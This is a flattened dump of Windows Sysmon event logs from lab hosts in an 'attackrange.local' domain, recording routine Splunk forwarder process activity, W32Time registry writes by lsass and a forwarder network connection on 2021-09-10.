15:08:32.155{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74F0-613B-3E05-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018135Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.155{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F0-613B-3E05-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018134Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:32.156{625C326B-74F0-613B-3E05-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018178Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.999{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA5D7475008D33B6A4CF09C5E07469F1,SHA256=549682043499ABCADF7F4279232CEBF0D34D88F96B1E15C98706EDBAA422928F,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000056723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000056722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x003ba336) 13241300x800000000000000056721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64d-0x56dafcbd) 13241300x800000000000000056720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0xb89f64bd) 13241300x800000000000000056719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65e-0x1a63ccbd) 13241300x800000000000000056718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000056717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x003ba336) 13241300x800000000000000056716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64d-0x56dafcbd) 13241300x800000000000000056715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0xb89f64bd) 13241300x800000000000000056714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:33.388{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65e-0x1a63ccbd) 23542300x800000000000000056713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:33.026{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFC553CB521CA9EA07CAEB6152AF2D9A,SHA256=3DBB1D084AA426216FAA90C3B2BD3FDFA10217C32FE4E64BB531D4C0D872BAD9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018177Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F1-613B-4005-00000000F101}100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018176Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018175Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018174Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018173Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018172Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018171Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018170Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018169Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018168Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018167Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74F1-613B-4005-00000000F101}100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018166Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.889{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F1-613B-4005-00000000F101}100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018165Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.890{625C326B-74F1-613B-4005-00000000F101}100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018164Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:33.686{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3843EA4118434308FA2D93F7804F9098,SHA256=3A5041E4E41C4527835FE85B8D7D429FB888F3864EB8AC0C50681D1B27BA75E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:34.056{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5EFD23A64D803F599D86EA51F6E6337D,SHA256=1E25334292345B4A1233C8C2EFA1C8B2F814DE300B6CB0010A2A66E3249027C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018180Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:34.920{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C934C3222EF05EC46A29700AEC666429,SHA256=A100D584883BB9B0F6108DEE279AB8C5BE5C224F3A2738838833CF82FFB930FB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018179Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:34.139{625C326B-74F1-613B-4005-00000000F101}1003048C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000056727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:32.446{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63178-false10.0.1.12-8000- 13241300x800000000000000056726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:08:35.103{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a655-0xb9d71e0d) 23542300x800000000000000056725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:35.071{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A945D91B23E358A32D6682B512ABA0E5,SHA256=C5D6120FD72B1A420E33C5CE5C5015A2FBE66D023D5D2D3AE9202B15BD705FF2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018209Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.764{625C326B-74F3-613B-4205-00000000F101}26561684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018208Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F3-613B-4205-00000000F101}2656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018207Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018206Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018205Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 